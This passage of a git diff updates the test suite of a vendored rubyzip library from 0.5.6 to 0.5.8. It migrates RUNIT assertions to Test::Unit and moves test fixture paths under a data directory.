@outputStream.buffer) @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) + assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) $, = "X" @outputStream.buffer = "" @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) + assert_equal("monkeyXduckXzebra\n", @outputStream.buffer) $\ = nil @outputStream.buffer = "" @outputStream.print(20) - assert_equals("20", @outputStream.buffer) + assert_equal("20", @outputStream.buffer) end def test_printf @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) + assert_equal("123 007b", @outputStream.buffer) end def test_putc @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) + assert_equal("A", @outputStream.buffer) @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) + assert_equal("AA", @outputStream.buffer) end def test_puts @outputStream.puts - assert_equals("\n", @outputStream.buffer) + assert_equal("\n", @outputStream.buffer) @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) + assert_equal("\nhello\nworld\n", @outputStream.buffer) @outputStream.buffer = "" @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) + assert_equal("hello\nworld\n", @outputStream.buffer) @outputStream.buffer = "" @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) + assert_equal("hello\nworld\n", @outputStream.buffer) @outputStream.buffer = "" @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) + assert_equal("hello\nworld\nbingo\n", @outputStream.buffer) @outputStream.buffer = "" @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) + assert_equal("16\n20\n50\nhello\n", @outputStream.buffer) end end diff --git a/vendor/rubyzip-0.5.6/test/stdrubyexttest.rb b/vendor/rubyzip-0.5.8/test/stdrubyexttest.rb old mode 100755 new mode 100644 similarity index 63% rename from vendor/rubyzip-0.5.6/test/stdrubyexttest.rb rename to vendor/rubyzip-0.5.8/test/stdrubyexttest.rb index f2c63e66..f11608f7 --- a/vendor/rubyzip-0.5.6/test/stdrubyexttest.rb +++ b/vendor/rubyzip-0.5.8/test/stdrubyexttest.rb @@ -2,20 +2,20 @@ $VERBOSE = true -$: << ".." +$: << "../lib" -require 'rubyunit' +require 'test/unit' require 'zip/stdrubyext' -class ModuleTest < RUNIT::TestCase +class ModuleTest < Test::Unit::TestCase def test_select_map - assert_equals([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) + assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) end end -class StringExtensionsTest < RUNIT::TestCase +class StringExtensionsTest < Test::Unit::TestCase def test_starts_with assert("hello".starts_with("")) @@ -24,7 +24,7 @@ class StringExtensionsTest < RUNIT::TestCase assert(! "hello".starts_with("hello there")) assert(! "hello".starts_with(" he")) - assert_exception(TypeError, "type mismatch: NilClass given") { + assert_raise(TypeError, "type mismatch: NilClass given") { "hello".starts_with(nil) } end @@ -40,10 +40,10 @@ class StringExtensionsTest < RUNIT::TestCase end def test_ensure_end - assert_equals("hello!", "hello!".ensure_end("!")) - assert_equals("hello!", "hello!".ensure_end("o!")) - assert_equals("hello!", "hello".ensure_end("!")) - assert_equals("hello!", "hel".ensure_end("lo!")) + assert_equal("hello!", "hello!".ensure_end("!")) + assert_equal("hello!", "hello!".ensure_end("o!")) + assert_equal("hello!", "hello".ensure_end("!")) + assert_equal("hello!", "hel".ensure_end("lo!")) end end diff --git a/vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb b/vendor/rubyzip-0.5.8/test/zipfilesystemtest.rb old mode 100755 new mode 100644 similarity index 65% rename from vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb rename to vendor/rubyzip-0.5.8/test/zipfilesystemtest.rb index c1aa91ba..10140e10 --- a/vendor/rubyzip-0.5.6/test/zipfilesystemtest.rb +++ b/vendor/rubyzip-0.5.8/test/zipfilesystemtest.rb @@ -2,10 +2,10 @@ $VERBOSE = true -$: << ".." +$: << "../lib" require 'zip/zipfilesystem' -require 'rubyunit' +require 'test/unit' module ExtraAssertions @@ -20,8 +20,8 @@ module ExtraAssertions end end_eval - assert_equals(retVal, yield) # Invoke test - assert_equals(expectedArgs, callArgs) + assert_equal(retVal, yield) # Invoke test + assert_equal(expectedArgs, callArgs) ensure anObject.instance_eval "alias #{method} #{method}_org" end @@ -30,9 +30,9 @@ end include Zip -class ZipFsFileNonmutatingTest < RUNIT::TestCase +class ZipFsFileNonmutatingTest < Test::Unit::TestCase def setup - @zipFile = ZipFile.new("zipWithDirs.zip") + @zipFile = ZipFile.new("data/zipWithDirs.zip") end def teardown @@ -40,7 +40,7 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase end def test_umask - assert_equals(File.umask, @zipFile.file.umask) + assert_equal(File.umask, @zipFile.file.umask) @zipFile.file.umask(0006) end @@ -62,7 +62,7 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase @zipFile.file.open("file1", "r") { |f| blockCalled = true - assert_equals("this is the entry 'file1' in my test archive!", + assert_equal("this is the entry 'file1' in my test archive!", f.readline.chomp) } assert(blockCalled) @@ -72,19 +72,19 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase @zipFile.file.open("file21", "r") { |f| blockCalled = true - assert_equals("this is the entry 'dir2/file21' in my test archive!", + assert_equal("this is the entry 'dir2/file21' in my test archive!", f.readline.chomp) } assert(blockCalled) @zipFile.dir.chdir "/" - assert_exception(Errno::ENOENT) { + assert_raise(Errno::ENOENT) { @zipFile.file.open("noSuchEntry") } begin is = @zipFile.file.open("file1") - assert_equals("this is the entry 'file1' in my test archive!", + assert_equal("this is the entry 'file1' in my test archive!", is.readline.chomp) ensure is.close if is @@ -94,7 +94,7 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase def test_new begin is = @zipFile.file.new("file1") - assert_equals("this is the entry 'file1' in my test archive!", + assert_equal("this is the entry 'file1' in my test archive!", is.readline.chomp) ensure is.close if is @@ -109,27 +109,27 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase end def test_symlink - assert_exception(NotImplementedError) { + assert_raise(NotImplementedError) { @zipFile.file.symlink("file1", "aSymlink") } end def test_size - assert_exception(Errno::ENOENT) { @zipFile.file.size("notAFile") } - assert_equals(72, @zipFile.file.size("file1")) - assert_equals(0, @zipFile.file.size("dir2/dir21")) + assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") } + assert_equal(72, @zipFile.file.size("file1")) + assert_equal(0, @zipFile.file.size("dir2/dir21")) - assert_equals(72, @zipFile.file.stat("file1").size) - assert_equals(0, @zipFile.file.stat("dir2/dir21").size) + assert_equal(72, @zipFile.file.stat("file1").size) + assert_equal(0, @zipFile.file.stat("dir2/dir21").size) end def test_size? - assert_equals(nil, @zipFile.file.size?("notAFile")) - assert_equals(72, @zipFile.file.size?("file1")) - assert_equals(nil, @zipFile.file.size?("dir2/dir21")) + assert_equal(nil, @zipFile.file.size?("notAFile")) + assert_equal(72, @zipFile.file.size?("file1")) + assert_equal(nil, @zipFile.file.size?("dir2/dir21")) - assert_equals(72, @zipFile.file.stat("file1").size?) - assert_equals(nil, @zipFile.file.stat("dir2/dir21").size?) + assert_equal(72, @zipFile.file.stat("file1").size?) + assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?) end @@ -166,19 +166,19 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase end def test_join - assert_equals("a/b/c", @zipFile.file.join("a/b", "c")) - assert_equals("a/b/c/d", @zipFile.file.join("a/b", "c/d")) - assert_equals("/c/d", @zipFile.file.join("", "c/d")) - assert_equals("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) + assert_equal("a/b/c", @zipFile.file.join("a/b", "c")) + assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d")) + assert_equal("/c/d", @zipFile.file.join("", "c/d")) + assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) end def test_utime t_now = Time.now t_bak = @zipFile.file.mtime("file1") @zipFile.file.utime(t_now, "file1") - assert_equals(t_now, @zipFile.file.mtime("file1")) + assert_equal(t_now, @zipFile.file.mtime("file1")) @zipFile.file.utime(t_bak, "file1") - assert_equals(t_bak, @zipFile.file.mtime("file1")) + assert_equal(t_bak, @zipFile.file.mtime("file1")) end @@ -219,26 +219,26 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase end def test_truncate - assert_exception(StandardError, "truncate not supported") { + assert_raise(StandardError, "truncate not supported") { @zipFile.file.truncate("file1", 100) } end def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"]) - assert_exception(Errno::ENOENT) { + assert_raise(Errno::ENOENT) { @zipFile.file.send(operation, *args) } end def test_ftype assert_e_n_o_e_n_t(:ftype) - assert_equals("file", @zipFile.file.ftype("file1")) - assert_equals("directory", @zipFile.file.ftype("dir1/dir11")) - assert_equals("directory", @zipFile.file.ftype("dir1/dir11/")) + assert_equal("file", @zipFile.file.ftype("file1")) + assert_equal("directory", @zipFile.file.ftype("dir1/dir11")) + assert_equal("directory", @zipFile.file.ftype("dir1/dir11/")) end def test_link - assert_exception(NotImplementedError) { + assert_raise(NotImplementedError) { @zipFile.file.link("file1", "someOtherString") } end @@ -259,10 +259,10 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase end def test_chown - assert_equals(2, @zipFile.file.chown(1,2, "dir1", "file1")) - assert_equals(1, @zipFile.file.stat("dir1").uid) - assert_equals(2, @zipFile.file.stat("dir1").gid) - assert_equals(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) + assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1")) + assert_equal(1, @zipFile.file.stat("dir1").uid) + assert_equal(2, @zipFile.file.stat("dir1").gid) + assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) end def test_zero? @@ -270,48 +270,48 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase assert(! @zipFile.file.zero?("file1")) assert(@zipFile.file.zero?("dir1")) blockCalled = false - ZipFile.open("4entry.zip") { + ZipFile.open("data/generated/4entry.zip") { |zf| blockCalled = true - assert(zf.file.zero?("empty.txt")) + assert(zf.file.zero?("data/generated/empty.txt")) } assert(blockCalled) assert(! @zipFile.file.stat("file1").zero?) assert(@zipFile.file.stat("dir1").zero?) blockCalled = false - ZipFile.open("4entry.zip") { + ZipFile.open("data/generated/4entry.zip") { |zf| blockCalled = true - assert(zf.file.stat("empty.txt").zero?) + assert(zf.file.stat("data/generated/empty.txt").zero?) } assert(blockCalled) end def test_expand_path - ZipFile.open("zipWithDirs.zip") { + ZipFile.open("data/zipWithDirs.zip") { |zf| - assert_equals("/", zf.file.expand_path(".")) + assert_equal("/", zf.file.expand_path(".")) zf.dir.chdir "dir1" - assert_equals("/dir1", zf.file.expand_path(".")) - assert_equals("/dir1/file12", zf.file.expand_path("file12")) - assert_equals("/", zf.file.expand_path("..")) - assert_equals("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) + assert_equal("/dir1", zf.file.expand_path(".")) + assert_equal("/dir1/file12", zf.file.expand_path("file12")) + assert_equal("/", zf.file.expand_path("..")) + assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) } end def test_mtime - assert_equals(Time.at(1027694306), + assert_equal(Time.at(1027694306), @zipFile.file.mtime("dir2/file21")) - assert_equals(Time.at(1027690863), + assert_equal(Time.at(1027690863), @zipFile.file.mtime("dir2/dir21")) - assert_exception(Errno::ENOENT) { + assert_raise(Errno::ENOENT) { @zipFile.file.mtime("noSuchEntry") } - assert_equals(Time.at(1027694306), + assert_equal(Time.at(1027694306), @zipFile.file.stat("dir2/file21").mtime) - assert_equals(Time.at(1027690863), + assert_equal(Time.at(1027690863), @zipFile.file.stat("dir2/dir21").mtime) end @@ -394,7 +394,7 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase end def test_readlink - assert_exception(NotImplementedError) { + assert_raise(NotImplementedError) { @zipFile.file.readlink("someString") } end @@ -402,7 +402,7 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase def test_stat s = @zipFile.file.stat("file1") assert(s.kind_of?(File::Stat)) # It pretends - assert_exception(Errno::ENOENT, "No such file or directory - noSuchFile") { + assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { @zipFile.file.stat("noSuchFile") } end @@ -413,50 +413,50 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase def test_chmod - assert_exception(Errno::ENOENT, "No such file or directory - noSuchFile") { + assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { @zipFile.file.chmod(0644, "file1", "NoSuchFile") } - assert_equals(2, @zipFile.file.chmod(0644, "file1", "dir1")) + assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1")) end def test_pipe - assert_exception(NotImplementedError) { + assert_raise(NotImplementedError) { @zipFile.file.pipe } end def test_foreach - ZipFile.open("zipWithDir.zip") { + ZipFile.open("data/generated/zipWithDir.zip") { |zf| ref = [] - File.foreach("file1.txt") { |e| ref << e } + File.foreach("data/file1.txt") { |e| ref << e } index = 0 - zf.file.foreach("file1.txt") { + zf.file.foreach("data/file1.txt") { |l| - assert_equals(ref[index], l) + assert_equal(ref[index], l) index = index.next } - assert_equals(ref.size, index) + assert_equal(ref.size, index) } - ZipFile.open("zipWithDir.zip") { + ZipFile.open("data/generated/zipWithDir.zip") { |zf| ref = [] - File.foreach("file1.txt", " ") { |e| ref << e } + File.foreach("data/file1.txt", " ") { |e| ref << e } index = 0 - zf.file.foreach("file1.txt", " ") { + zf.file.foreach("data/file1.txt", " ") { |l| - assert_equals(ref[index], l) + assert_equal(ref[index], l) index = index.next } - assert_equals(ref.size, index) + assert_equal(ref.size, index) } end def test_popen - assert_equals(File.popen("ls") { |f| f.read }, + assert_equal(File.popen("ls") { |f| f.read }, @zipFile.file.popen("ls") { |f| f.read }) end @@ -466,27 +466,27 @@ class ZipFsFileNonmutatingTest < RUNIT::TestCase # end def test_readlines - ZipFile.open("zipWithDir.zip") { + ZipFile.open("data/generated/zipWithDir.zip") { |zf| - assert_equals(File.readlines("file1.txt"), - zf.file.readlines("file1.txt")) + assert_equal(File.readlines("data/file1.txt"), + zf.file.readlines("data/file1.txt")) } end def test_read - ZipFile.open("zipWithDir.zip") { + ZipFile.open("data/generated/zipWithDir.zip") { |zf| - assert_equals(File.read("file1.txt"), - zf.file.read("file1.txt")) + assert_equal(File.read("data/file1.txt"), + zf.file.read("data/file1.txt")) } end end -class ZipFsFileStatTest < RUNIT::TestCase +class ZipFsFileStatTest < Test::Unit::TestCase def setup - @zipFile = ZipFile.new("zipWithDirs.zip") + @zipFile = ZipFile.new("data/zipWithDirs.zip") end def teardown @@ -494,51 +494,51 @@ class ZipFsFileStatTest < RUNIT::TestCase end def test_blocks - assert_equals(nil, @zipFile.file.stat("file1").blocks) + assert_equal(nil, @zipFile.file.stat("file1").blocks) end def test_ino - assert_equals(0, @zipFile.file.stat("file1").ino) + assert_equal(0, @zipFile.file.stat("file1").ino) end def test_uid - assert_equals(0, @zipFile.file.stat("file1").uid) + assert_equal(0, @zipFile.file.stat("file1").uid) end def test_gid - assert_equals(0, @zipFile.file.stat("file1").gid) + assert_equal(0, @zipFile.file.stat("file1").gid) end def test_ftype - assert_equals("file", @zipFile.file.stat("file1").ftype) - assert_equals("directory", @zipFile.file.stat("dir1").ftype) + assert_equal("file", @zipFile.file.stat("file1").ftype) + assert_equal("directory", @zipFile.file.stat("dir1").ftype) end def test_mode - assert_equals(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equals(0600, @zipFile.file.stat("file1").mode & 0777) - assert_equals(0755, @zipFile.file.stat("dir1").mode & 0777) - assert_equals(0755, @zipFile.file.stat("dir1").mode & 0777) + assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) + assert_equal(0600, @zipFile.file.stat("file1").mode & 0777) + assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) + assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777) end def test_dev - assert_equals(0, @zipFile.file.stat("file1").dev) + assert_equal(0, @zipFile.file.stat("file1").dev) end def test_rdev - assert_equals(0, @zipFile.file.stat("file1").rdev) + assert_equal(0, @zipFile.file.stat("file1").rdev) end def test_rdev_major - assert_equals(0, @zipFile.file.stat("file1").rdev_major) + assert_equal(0, @zipFile.file.stat("file1").rdev_major) end def test_rdev_minor - assert_equals(0, @zipFile.file.stat("file1").rdev_minor) + assert_equal(0, @zipFile.file.stat("file1").rdev_minor) end def test_nlink - assert_equals(1, @zipFile.file.stat("file1").nlink) + assert_equal(1, @zipFile.file.stat("file1").nlink) end def test_blksize @@ -547,10 +547,10 @@ class ZipFsFileStatTest < RUNIT::TestCase end -class ZipFsFileMutatingTest < RUNIT::TestCase +class ZipFsFileMutatingTest < Test::Unit::TestCase TEST_ZIP = "zipWithDirs_copy.zip" def setup - File.copy("zipWithDirs.zip", TEST_ZIP) + File.copy("data/zipWithDirs.zip", TEST_ZIP) end def teardown @@ -573,7 +573,7 @@ class ZipFsFileMutatingTest < RUNIT::TestCase blockCalled = true f.write "This is what I'm writing" } - assert_equals("This is what I'm writing", + assert_equal("This is what I'm writing", zf.file.read("test_open_write_entry")) # Test with existing entry @@ -582,7 +582,7 @@ class ZipFsFileMutatingTest < RUNIT::TestCase blockCalled = true f.write "This is what I'm writing too" } - assert_equals("This is what I'm writing too", + assert_equal("This is what I'm writing too", zf.file.read("file1")) } end @@ -590,7 +590,7 @@ class ZipFsFileMutatingTest < RUNIT::TestCase def test_rename ZipFile.open(TEST_ZIP) { |zf| - assert_exception(Errno::ENOENT, "") { + assert_raise(Errno::ENOENT, "") { zf.file.rename("NoSuchFile", "bimse") } zf.file.rename("file1", "newNameForFile1") @@ -616,9 +616,9 @@ class ZipFsFileMutatingTest < RUNIT::TestCase assert(! zf.file.exists?("dir1/file11")) assert(! zf.file.exists?("dir1/file12")) - assert_exception(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } - assert_exception(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } - assert_exception(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } + assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } + assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } + assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } } ZipFile.open(TEST_ZIP) { @@ -634,20 +634,20 @@ class ZipFsFileMutatingTest < RUNIT::TestCase end -class ZipFsDirectoryTest < RUNIT::TestCase +class ZipFsDirectoryTest < Test::Unit::TestCase TEST_ZIP = "zipWithDirs_copy.zip" def setup - File.copy("zipWithDirs.zip", TEST_ZIP) + File.copy("data/zipWithDirs.zip", TEST_ZIP) end def test_delete ZipFile.open(TEST_ZIP) { |zf| - assert_exception(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { + assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { zf.dir.delete("NoSuchFile.txt") } - assert_exception(Errno::EINVAL, "Invalid argument - file1") { + assert_raise(Errno::EINVAL, "Invalid argument - file1") { zf.dir.delete("file1") } assert(zf.file.exists?("dir1")) @@ -659,10 +659,10 @@ class ZipFsDirectoryTest < RUNIT::TestCase def test_mkdir ZipFile.open(TEST_ZIP) { |zf| - assert_exception(Errno::EEXIST, "File exists - dir1") { + assert_raise(Errno::EEXIST, "File exists - dir1") { zf.dir.mkdir("file1") } - assert_exception(Errno::EEXIST, "File exists - dir1") { + assert_raise(Errno::EEXIST, "File exists - dir1") { zf.dir.mkdir("dir1") } assert(!zf.file.exists?("newDir")) @@ -677,24 +677,24 @@ class ZipFsDirectoryTest < RUNIT::TestCase def test_pwd_chdir_entries ZipFile.open(TEST_ZIP) { |zf| - assert_equals("/", zf.dir.pwd) + assert_equal("/", zf.dir.pwd) - assert_exception(Errno::ENOENT, "No such file or directory - no such dir") { + assert_raise(Errno::ENOENT, "No such file or directory - no such dir") { zf.dir.chdir "no such dir" } - assert_exception(Errno::EINVAL, "Invalid argument - file1") { + assert_raise(Errno::EINVAL, "Invalid argument - file1") { zf.dir.chdir "file1" } - assert_equals(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) + assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) zf.dir.chdir "dir1" - assert_equals("/dir1", zf.dir.pwd) - assert_equals(["dir11", "file11", "file12"], zf.dir.entries(".").sort) + assert_equal("/dir1", zf.dir.pwd) + assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort) zf.dir.chdir "../dir2/dir21" - assert_equals("/dir2/dir21", zf.dir.pwd) - assert_equals(["dir221"].sort, zf.dir.entries(".").sort) + assert_equal("/dir2/dir21", zf.dir.pwd) + assert_equal(["dir221"].sort, zf.dir.entries(".").sort) } end @@ -703,30 +703,30 @@ class ZipFsDirectoryTest < RUNIT::TestCase |zf| blockCalled = false - assert_exception(Errno::ENOENT, "No such file or directory - noSuchDir") { + assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") { zf.dir.foreach("noSuchDir") { |e| blockCalled = true } } assert(! blockCalled) - assert_exception(Errno::ENOTDIR, "Not a directory - file1") { + assert_raise(Errno::ENOTDIR, "Not a directory - file1") { zf.dir.foreach("file1") { |e| blockCalled = true } } assert(! blockCalled) entries = [] zf.dir.foreach(".") { |e| entries << e } - assert_equals(["dir1", "dir2", "file1"].sort, entries.sort) + assert_equal(["dir1", "dir2", "file1"].sort, entries.sort) entries = [] zf.dir.foreach("dir1") { |e| entries << e } - assert_equals(["dir11", "file11", "file12"], entries.sort) + assert_equal(["dir11", "file11", "file12"], entries.sort) } end def test_chroot ZipFile.open(TEST_ZIP) { |zf| - assert_exception(NotImplementedError) { + assert_raise(NotImplementedError) { zf.dir.chroot } } @@ -742,28 +742,28 @@ class ZipFsDirectoryTest < RUNIT::TestCase ZipFile.open(TEST_ZIP) { |zf| - assert_exception(Errno::ENOTDIR, "Not a directory - file1") { + assert_raise(Errno::ENOTDIR, "Not a directory - file1") { zf.dir.new("file1") } - assert_exception(Errno::ENOENT, "No such file or directory - noSuchFile") { + assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { zf.dir.new("noSuchFile") } d = zf.dir.new(".") - assert_equals(["file1", "dir1", "dir2"].sort, d.entries.sort) + assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort) d.close zf.dir.open("dir1") { |d| - assert_equals(["dir11", "file11", "file12"].sort, d.entries.sort) + assert_equal(["dir11", "file11", "file12"].sort, d.entries.sort) } } end end -class ZipFsDirIteratorTest < RUNIT::TestCase +class ZipFsDirIteratorTest < Test::Unit::TestCase FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ] @@ -773,19 +773,19 @@ class ZipFsDirIteratorTest < RUNIT::TestCase def test_close @dirIt.close - assert_exception(IOError, "closed directory") { + assert_raise(IOError, "closed directory") { @dirIt.each { |e| p e } } - assert_exception(IOError, "closed directory") { + assert_raise(IOError, "closed directory") { @dirIt.read } - assert_exception(IOError, "closed directory") { + assert_raise(IOError, "closed directory") { @dirIt.rewind } - assert_exception(IOError, "closed directory") { + assert_raise(IOError, "closed directory") { @dirIt.seek(0) } - assert_exception(IOError, "closed directory") { + assert_raise(IOError, "closed directory") { @dirIt.tell } @@ -793,22 +793,22 @@ class ZipFsDirIteratorTest < RUNIT::TestCase def test_each # Tested through Enumerable.entries - assert_equals(FILENAME_ARRAY, @dirIt.entries) + assert_equal(FILENAME_ARRAY, @dirIt.entries) end def test_read FILENAME_ARRAY.size.times { |i| - assert_equals(FILENAME_ARRAY[i], @dirIt.read) + assert_equal(FILENAME_ARRAY[i], @dirIt.read) } end def test_rewind @dirIt.read @dirIt.read - assert_equals(FILENAME_ARRAY[2], @dirIt.read) + assert_equal(FILENAME_ARRAY[2], @dirIt.read) @dirIt.rewind - assert_equals(FILENAME_ARRAY[0], @dirIt.read) + assert_equal(FILENAME_ARRAY[0], @dirIt.read) end def test_tell_seek @@ -818,7 +818,7 @@ class ZipFsDirIteratorTest < RUNIT::TestCase valAtPos = @dirIt.read @dirIt.read @dirIt.seek(pos) - assert_equals(valAtPos, @dirIt.read) + assert_equal(valAtPos, @dirIt.read) end end diff --git a/vendor/rubyzip-0.5.6/test/ziprequiretest.rb b/vendor/rubyzip-0.5.8/test/ziprequiretest.rb old mode 100755 new mode 100644 similarity index 67% rename from vendor/rubyzip-0.5.6/test/ziprequiretest.rb rename to vendor/rubyzip-0.5.8/test/ziprequiretest.rb index e27c400d..68d2c714 --- a/vendor/rubyzip-0.5.6/test/ziprequiretest.rb +++ b/vendor/rubyzip-0.5.8/test/ziprequiretest.rb @@ -2,17 +2,17 @@ $VERBOSE = true -$: << ".." +$: << "../lib" -require 'rubyunit' +require 'test/unit' require 'zip/ziprequire' -$: << 'rubycode.zip' << 'rubycode2.zip' +$: << 'data/rubycode.zip' << 'data/rubycode2.zip' -class ZipRequireTest < RUNIT::TestCase +class ZipRequireTest < Test::Unit::TestCase def test_require - assert(require('notzippedruby')) - assert(!require('notzippedruby')) + assert(require('data/notzippedruby')) + assert(!require('data/notzippedruby')) assert(require('zippedruby1')) assert(!require('zippedruby1')) @@ -27,13 +27,13 @@ class ZipRequireTest < RUNIT::TestCase assert(c1.returnTrue) assert(ZippedRuby1.returnTrue) assert(!ZippedRuby2.returnFalse) - assert_equals(4, ZippedRuby3.multiplyValues(2, 2)) + assert_equal(4, ZippedRuby3.multiplyValues(2, 2)) end def test_get_resource get_resource("aResource.txt") { |f| - assert_equals("Nothing exciting in this file!", f.read) + assert_equal("Nothing exciting in this file!", f.read) } end end diff --git a/vendor/rubyzip-0.5.6/test/ziptest.rb b/vendor/rubyzip-0.5.8/test/ziptest.rb old mode 100755 new mode 100644 similarity index 70% rename from vendor/rubyzip-0.5.6/test/ziptest.rb rename to vendor/rubyzip-0.5.8/test/ziptest.rb index d8852006..cd5c7c2b --- a/vendor/rubyzip-0.5.6/test/ziptest.rb +++ b/vendor/rubyzip-0.5.8/test/ziptest.rb @@ -2,15 +2,16 @@ $VERBOSE = true -$: << ".." +$: << "../lib" -require 'rubyunit' +require 'test/unit' require 'zip/zip' +require 'gentestfiles' include Zip -class ZipEntryTest < RUNIT::TestCase +class ZipEntryTest < Test::Unit::TestCase TEST_ZIPFILE = "someZipFile.zip" TEST_COMMENT = "a comment" TEST_COMPRESSED_SIZE = 1234 @@ -31,14 +32,14 @@ class ZipEntryTest < RUNIT::TestCase TEST_COMPRESSIONMETHOD, TEST_SIZE) - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressed_size) - assert_equals(TEST_CRC, entry.crc) + assert_equal(TEST_COMMENT, entry.comment) + assert_equal(TEST_COMPRESSED_SIZE, entry.compressed_size) + assert_equal(TEST_CRC, entry.crc) assert_instance_of(Zip::ZipExtraField, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compression_method) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.is_directory) + assert_equal(TEST_COMPRESSIONMETHOD, entry.compression_method) + assert_equal(TEST_NAME, entry.name) + assert_equal(TEST_SIZE, entry.size) + assert_equal(TEST_ISDIRECTORY, entry.is_directory) end def test_is_directoryAndIsFile @@ -81,8 +82,8 @@ class ZipEntryTest < RUNIT::TestCase "something extraXX", 12, 123, ZipEntry::STORED, 100000) - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) + assert_equal(entry1, entry1) + assert_equal(entry1, entry2) assert(entry2 != entry3) assert(entry3 != entry4) @@ -98,9 +99,9 @@ class ZipEntryTest < RUNIT::TestCase end def test_compare - assert_equals(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) - assert_equals(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) - assert_equals(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) + assert_equal(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) + assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) + assert_equal(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) entries = [ ZipEntry.new("zf.zip", "5"), @@ -112,12 +113,12 @@ class ZipEntryTest < RUNIT::TestCase ] entries.sort! - assert_equals("0", entries[0].to_s) - assert_equals("1", entries[1].to_s) - assert_equals("2", entries[2].to_s) - assert_equals("3", entries[3].to_s) - assert_equals("4", entries[4].to_s) - assert_equals("5", entries[5].to_s) + assert_equal("0", entries[0].to_s) + assert_equal("1", entries[1].to_s) + assert_equal("2", entries[2].to_s) + assert_equal("3", entries[3].to_s) + assert_equal("4", entries[4].to_s) + assert_equal("5", entries[5].to_s) end def test_parentAsString @@ -128,16 +129,16 @@ class ZipEntryTest < RUNIT::TestCase entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") - assert_equals(nil, entry1.parent_as_string) - assert_equals(nil, entry2.parent_as_string) - assert_equals("aa/", entry3.parent_as_string) - assert_equals("aa/", entry4.parent_as_string) - assert_equals("aa/bb/", entry5.parent_as_string) - assert_equals("aa/bb/", entry6.parent_as_string) + assert_equal(nil, entry1.parent_as_string) + assert_equal(nil, entry2.parent_as_string) + assert_equal("aa/", entry3.parent_as_string) + assert_equal("aa/", entry4.parent_as_string) + 